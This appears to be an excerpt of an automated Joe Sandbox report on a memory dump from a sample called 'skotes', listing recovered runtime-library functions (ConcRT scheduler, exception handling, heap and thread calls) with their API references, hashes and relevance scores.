API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: 9abd196dbe3760ed533f204942a39c663444424dc11bb6fb8cf1de85ffcec6e8
Instruction ID: 175847d65686c7decdbaed4afeeb2de1a2909e6acc3ab4504419028f8fd363df
Opcode Fuzzy Hash: 9abd196dbe3760ed533f204942a39c663444424dc11bb6fb8cf1de85ffcec6e8
Instruction Fuzzy Hash: 4981B271A8051AAFCF28DFA8D8A06BDB7F2BF48714B24403DD842A7340E771A940CB95

Function 021A550C Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 021A5607
type_info::operator==.LIBVCRUNTIME ref: 021A562E
___TypeMatch.LIBVCRUNTIME ref: 021A573A
CatchIt.LIBVCRUNTIME ref: 021A578F
IsInExceptionSpec.LIBVCRUNTIME ref: 021A5815
_UnwindNestedFrames.LIBCMT ref: 021A589C
CallUnexpected.LIBVCRUNTIME ref: 021A58B7

Strings

csm, xrefs: 021A5547
csm, xrefs: 021A5665
csm, xrefs: 021A55B4

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: ad1611b132c96cd88c093627677e3344dfa0a654fa7a6ed2c70fbeb10c1165a9
Instruction ID: f1045bcce84369f897887338a4d4a0b05ae8f01a16bfa19d803879efe54aae7b
Opcode Fuzzy Hash: ad1611b132c96cd88c093627677e3344dfa0a654fa7a6ed2c70fbeb10c1165a9
Instruction Fuzzy Hash: C1C16979C88209FFCF25DFA5C8A0AAEBBB7AF04314F84446AE815AB201D731D551CF91

Function 021A2BD7 Relevance: 16.7, APIs: 11, Instructions: 222
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 021A2BE9

Part of subcall function 021A2748: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021A276B

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 021A2C0A
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 021A2C17
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 021A2C65
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 021A2D0D
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 021A2D3F

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: df65faca3598a56f4a1189fa951469fdc42dcddc43790275eedfd99cb695ca9a
Instruction ID: a49a34fedf55764f6009c457bf318bcf22076448055162647d4f484b63ab6c5f
Opcode Fuzzy Hash: df65faca3598a56f4a1189fa951469fdc42dcddc43790275eedfd99cb695ca9a
Instruction Fuzzy Hash: D371F278940209AFDF16DF58CDA0BFEBBB6AF49304F044099EC11AB252C732D916DB61

Function 0219EC90 Relevance: 16.6, APIs: 11, Instructions: 148
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0219ECE0

Part of subcall function 02199196: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 021991B7

Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 0219ECF9
Concurrency::location::_Assign.LIBCMT ref: 0219ED0F
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0219ED7C
Concurrency::details::SchedulerBase::ClearQuickCacheSlot.LIBCMT ref: 0219ED84
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0219EDAB
Concurrency::details::VirtualProcessor::EnsureAllTasksVisible.LIBCONCRT ref: 0219EDB7
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 0219EDEF
Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0219EE0E
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 0219EE1C
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedClear.LIBCONCRT ref: 0219EE43

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$ContextVirtual$Processor::QuickScheduler$ClearCountedEventIdleInterlockedProcessorReferenceSet::$AssignAvailableBlockedCacheConcurrency::location::_DeactivateEnsureInternalMakeSlotSpinTasksThrowTraceUntilVisible
String ID:
API String ID: 3608406545-0
Opcode ID: a39cb41113445c8b37c8e93bd00c54bcce78915a73e61bcd78f9524f0075e564
Instruction ID: 4d8c913e4a782403fc4ee506a3ab587887a54382bd4021c24afd1d7195d59cc6
Opcode Fuzzy Hash: a39cb41113445c8b37c8e93bd00c54bcce78915a73e61bcd78f9524f0075e564
Instruction Fuzzy Hash: 995190747402049FDF04EF28C494BAD77A6BF49311F1941BAED4A9B386CB71A801CFA2

Function 02196C41 Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 02196C86
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 02196CB8
List.LIBCONCRT ref: 02196CF3
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 02196D04
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 02196D20
List.LIBCONCRT ref: 02196D5B
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 02196D6C
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 02196D87
List.LIBCONCRT ref: 02196DC2
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 02196DCF

Part of subcall function 02196146: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 0219615E
Part of subcall function 02196146: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 02196170

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction ID: 205330c49025fbba261c12efd00e3200378317783174e99e7d97528b5a153079
Opcode Fuzzy Hash: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction Fuzzy Hash: D3515E71A40209AFDF18DF65C994BEDB3B9FF08344F4540A9E955AB281DB34AE44CFA0

Function 021AA7C0 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021AA7D6

Part of subcall function 021AB05C: HeapFree.KERNEL32(00000000,00000000,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?), ref: 021AB072
Part of subcall function 021AB05C: GetLastError.KERNEL32(?,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?,?), ref: 021AB084

_free.LIBCMT ref: 021AA7E2
_free.LIBCMT ref: 021AA7ED
_free.LIBCMT ref: 021AA7F8
_free.LIBCMT ref: 021AA803
_free.LIBCMT ref: 021AA80E
_free.LIBCMT ref: 021AA819
_free.LIBCMT ref: 021AA824
_free.LIBCMT ref: 021AA82F
_free.LIBCMT ref: 021AA83D

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1702a0a1dc840abddd1c64ba95121113f610cdca08529299edb68c6a0e13c010
Instruction ID: 666d549668a5bcacbda35cd00b581eec64d44b9158d92c755cef2d5f78829bb0
Opcode Fuzzy Hash: 1702a0a1dc840abddd1c64ba95121113f610cdca08529299edb68c6a0e13c010
Instruction Fuzzy Hash: 2A21B87A944108EFCB11EFA4C991DDE7BB9BF18344F018166A6299B521DB32EB44CF84

Function 021B5939 Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f581972419559139547d94a09d48a4cf01951f6f19e23db2bc11059fe6a6d649
Instruction ID: 04b0744ec018d02baa663f9f08f44b408a37902ee4848edb7dc24614fb49e619
Opcode Fuzzy Hash: f581972419559139547d94a09d48a4cf01951f6f19e23db2bc11059fe6a6d649
Instruction Fuzzy Hash: 9FC123B4E84249AFDB26CFA8D890BEDBBB7BF49300F454068E415AB391D7709941CF61

Function 0218C6B9 Relevance: 13.6, APIs: 9, Instructions: 138threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0218C6E1
GetCurrentThreadId.KERNEL32 ref: 0218C6FE
GetCurrentThreadId.KERNEL32 ref: 0218C713
_xtime_get.LIBCPMT ref: 0218C75F
GetCurrentThreadId.KERNEL32 ref: 0218C791
__Xtime_diff_to_millis2.LIBCPMT ref: 0218C7A9
_xtime_get.LIBCPMT ref: 0218C7C8
GetCurrentThreadId.KERNEL32 ref: 0218C7D2
GetCurrentThreadId.KERNEL32 ref: 0218C829

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID:
API String ID: 3943753294-0
Opcode ID: 614b4e817c589673b728cf08dcfac44524a47e1cde47449f47a12751e0a585f6
Instruction ID: cabbc9ad4bd52c258f4fb5688108d69c9e51acd0aa2e34f926051788cc77f2de
Opcode Fuzzy Hash: 614b4e817c589673b728cf08dcfac44524a47e1cde47449f47a12751e0a585f6
Instruction Fuzzy Hash: 86515D35980206CFCF18EF64D9C49A977B5FF08315B1540AAE806AB261DB30E981CFA5

Function 02197B48 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 02197B6A

Part of subcall function 02195F1F: __EH_prolog3_catch.LIBCMT ref: 02195F26
Part of subcall function 02195F1F: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 02195F5F

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 02197B78

Part of subcall function 02196B84: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 02196BA9
Part of subcall function 02196B84: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 02196BCC

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 02197B91
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 02197B9D

Part of subcall function 02195F1F: RtlInterlockedPopEntrySList.NTDLL(?), ref: 02195FA8
Part of subcall function 02195F1F: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 02195FD7
Part of subcall function 02195F1F: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 02195FE5

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 02197BE9
Concurrency::location::_Assign.LIBCMT ref: 02197C0A
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 02197C12
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 02197C24
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 02197C54

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: f8e7ed72c4c944840f473cddcd0c505e7f687a439ccd8c6eb98a632952ef38ee
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: A3313970B9425A6FDF26AB7844817FEF7B65F41304F0400A9C856E72C1DB255947CBE1

Function 021A0BEC Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 021A0C02
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,02195F15,?), ref: 021A0C14
GetCurrentThread.KERNEL32 ref: 021A0C1C
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,02195F15,?), ref: 021A0C24
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,02195F15,?), ref: 021A0C3D
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 021A0C5E

Part of subcall function 02190478: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 02190492

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,02195F15,?), ref: 021A0C70
GetLastError.KERNEL32(?,?,?,?,?,02195F15,?), ref: 021A0C9B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 021A0CB1

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: ca3b420515bcbb23f0314330c0ebaf985fd69accfaa50322e501786fcfee08c6
Instruction ID: 5c23d02524ef8aefeeba8cdb5796c4176febcfb0786107e22b4ea5b26f7e70aa
Opcode Fuzzy Hash: ca3b420515bcbb23f0314330c0ebaf985fd69accfaa50322e501786fcfee08c6
Instruction Fuzzy Hash: E41103BDA80305AFDB10AB749D69F9E3BACAF09741F0800B5FD46DA152EB74C5048B76

Function 021B277E Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021B2800
_free.LIBCMT ref: 021B2824
_free.LIBCMT ref: 021B29B1
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00456758), ref: 021B29C3
_free.LIBCMT ref: 021B2B7D

Strings

XgE, xrefs: 021B2AE0
XgE, xrefs: 021B296C, 021B2972

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: XgE$XgE
API String ID: 597776487-1765908331
Opcode ID: 1b696d6c4c17f14bd2cd532e520e2bf73148f9a8717794c16fbf28e545bba7b4
Instruction ID: 4d0a44a99f458460774154ba815ae67ef116ac495fb114209ee99381f2f4a682
Opcode Fuzzy Hash: 1b696d6c4c17f14bd2cd532e520e2bf73148f9a8717794c16fbf28e545bba7b4
Instruction Fuzzy Hash: 11C15B75980245AFDB26AF78CC50BEE7BFAEF4A314F1501A9DC54DB290E7308A09CB50

Function 02175E77 Relevance: 12.4, APIs: 8, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2c1a298e8fecfe48cef90fb9b18945fd86a062cf10d1e3a8c03b853429e7ba7
Instruction ID: 8be8d583b4957550c383fb13694dba212a04af7a1e4374fbed8762f276a34440
Opcode Fuzzy Hash: d2c1a298e8fecfe48cef90fb9b18945fd86a062cf10d1e3a8c03b853429e7ba7
Instruction Fuzzy Hash: A7F1C37094025CAFEB24DF54CC84BDEBBBAEF44304F5042A9E919A72C1DB749A84CF95

Function 021AECF5 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 021AED1F
_free.LIBCMT ref: 021AEDF8
_free.LIBCMT ref: 021AEE25

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: b36ae6f94d372ff64b4da89c0af13a455d4f54d85b457d19ac11513aadbc6f32
Instruction ID: f18f06c5b35e4111a1eec8951b381405dbb47090ad5e9880bf483eca9c9ad546
Opcode Fuzzy Hash: b36ae6f94d372ff64b4da89c0af13a455d4f54d85b457d19ac11513aadbc6f32
Instruction Fuzzy Hash: A25105B9988345AFDB24AFB498A0A6D7BA5EF02324F15417EE924971C0EB32C600CF55

Function 0219EA16 Relevance: 10.6, APIs: 7, Instructions: 102COMMON

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0219EA3E

Part of subcall function 0219E7AB: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0219E7DE
Part of subcall function 0219E7AB: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0219E800

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0219EABB
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0219EAC7
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0219EAD6
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0219EAE0
Concurrency::location::_Assign.LIBCMT ref: 0219EB14
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0219EB1C

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 68357d3375aa4ffdda60a85fea681dfadbeefaeb1374d27128ca733c89973d16
Instruction ID: 8f8ac87ad58ee28f564f78ede00c7b1fc1835e4167df2bef9d42e6ae5433cc5c
Opcode Fuzzy Hash: 68357d3375aa4ffdda60a85fea681dfadbeefaeb1374d27128ca733c89973d16
Instruction Fuzzy Hash: F3412B79A40214AFCF05EF64C494BADB7B6BF48310F1485AADD469B281D730A941CF91

Function 0218F0C6 Relevance: 10.6, APIs: 7, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0218F0CD
_SpinWait.LIBCONCRT ref: 0218F123
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0218F12F
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0218F148
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0218F176
Concurrency::Context::Block.LIBCONCRT ref: 0218F198

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::H_prolog3ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1888882079-0
Opcode ID: 51f1a6270a472bcdd30247f4592d3322b934ddd74063de143c259ec6416e4012
Instruction ID: da3c5a15674356b8d43d6b34c550d6b1a7a6bb808bf5cb15f33e119ab879bef0
Opcode Fuzzy Hash: 51f1a6270a472bcdd30247f4592d3322b934ddd74063de143c259ec6416e4012
Instruction Fuzzy Hash: CC217F709802199EDF28FFA4C8856FEB7F1AF05314F90061AE065A65D0EB718646CF91

Function 021AF342 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 021AF30A: _free.LIBCMT ref: 021AF32F

_free.LIBCMT ref: 021AF390

Part of subcall function 021AB05C: HeapFree.KERNEL32(00000000,00000000,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?), ref: 021AB072
Part of subcall function 021AB05C: GetLastError.KERNEL32(?,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?,?), ref: 021AB084

_free.LIBCMT ref: 021AF39B
_free.LIBCMT ref: 021AF3A6
_free.LIBCMT ref: 021AF3FA
_free.LIBCMT ref: 021AF405
_free.LIBCMT ref: 021AF410
_free.LIBCMT ref: 021AF41B

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction ID: 52647b60292ac135fea97c9efe75b0595d4c597ad5e22b41687288303070ec48
Opcode Fuzzy Hash: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction Fuzzy Hash: 24118476580704EEDB30B770DC26FCB7BAE7F00710F404916A699A6891D77AB505CE90

Function 0218FCD8 Relevance: 10.6, APIs: 7, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(004512B4,?,00000000,00000000,?,?,?,02193E4D), ref: 0218FCE6
GetProcAddress.KERNEL32(00000000,0045177C), ref: 0218FCF4
GetProcAddress.KERNEL32(00000000,00451794), ref: 0218FD02
GetProcAddress.KERNEL32(00000000,004517AC), ref: 0218FD30
GetLastError.KERNEL32(?,?,?,02193E4D), ref: 0218FD4B
GetLastError.KERNEL32(?,?,?,02193E4D), ref: 0218FD57
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0218FD6D

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID:
API String ID: 1654681794-0
Opcode ID: 7fe6c5ece6de4c50eb3fb3b842b885c674e1d20cdf18a0be90147e923e9c19f3
Instruction ID: 1dec9edcc9d024e2505782af26b49f46f0614fa12b2e22c76ee9e76c47c37fde
Opcode Fuzzy Hash: 7fe6c5ece6de4c50eb3fb3b842b885c674e1d20cdf18a0be90147e923e9c19f3
Instruction Fuzzy Hash: DD019B39680311AF97507BB56CC9FA737ACAA04B52B640637F901D21A2FF79D4048F69

Function 02187067 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 02187138
std::_Rethrow_future_exception.LIBCPMT ref: 02187189
std::_Rethrow_future_exception.LIBCPMT ref: 02187199
__Mtx_unlock.LIBCPMT ref: 0218723C
__Mtx_unlock.LIBCPMT ref: 02187342
__Mtx_unlock.LIBCPMT ref: 0218737D

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 411bbcd3c98b8483f8dc7711dd14b2669908e861b9d7381f1d8c4d8a9dcadb8d
Instruction ID: 7dcff6384f871eaa337161e78e3cc8ada6736911119e2a3fedb452d0e571db67
Opcode Fuzzy Hash: 411bbcd3c98b8483f8dc7711dd14b2669908e861b9d7381f1d8c4d8a9dcadb8d
Instruction Fuzzy Hash: ABC1D074D807049FDB25EFA4C884BAEFBB5AF01304F20456EE81697691E735A505CFA2

Function 021AFF27 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,02178A07,00000000), ref: 021AFF6F
__fassign.LIBCMT ref: 021B014E
__fassign.LIBCMT ref: 021B016B
WriteFile.KERNEL32(?,02178A07,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 021B01B3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 021B01F3
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 021B029F

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: aeaffaf03d6c38a690940c40d1bea6644629eb38ec1b3c0d319535d1d52f1a6c
Instruction ID: 3895d7b3a651941412044b2f9c5b119b4ccf95f935f772edd1a2932c41f71f6a
Opcode Fuzzy Hash: aeaffaf03d6c38a690940c40d1bea6644629eb38ec1b3c0d319535d1d52f1a6c
Instruction Fuzzy Hash: FDD1AC75D002589FCF16CFE8C890AEEBBB5BF49304F2841AAE855BB241D731A946CF50

Function 0219EB44 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0219EB85
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0219EB8D
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0219EBB7
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0219EBC0
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0219EC43
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0219EC4B

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID:
API String ID: 3929269971-0
Opcode ID: e357eccba9f9281a6441e24871b6c677031b298cf17b8db731c946c7b8307f67
Instruction ID: 9880dc77d184ab4d94ba27aee8b02b6c806bb10302fecc9387ce33443924c59a
Opcode Fuzzy Hash: e357eccba9f9281a6441e24871b6c677031b298cf17b8db731c946c7b8307f67
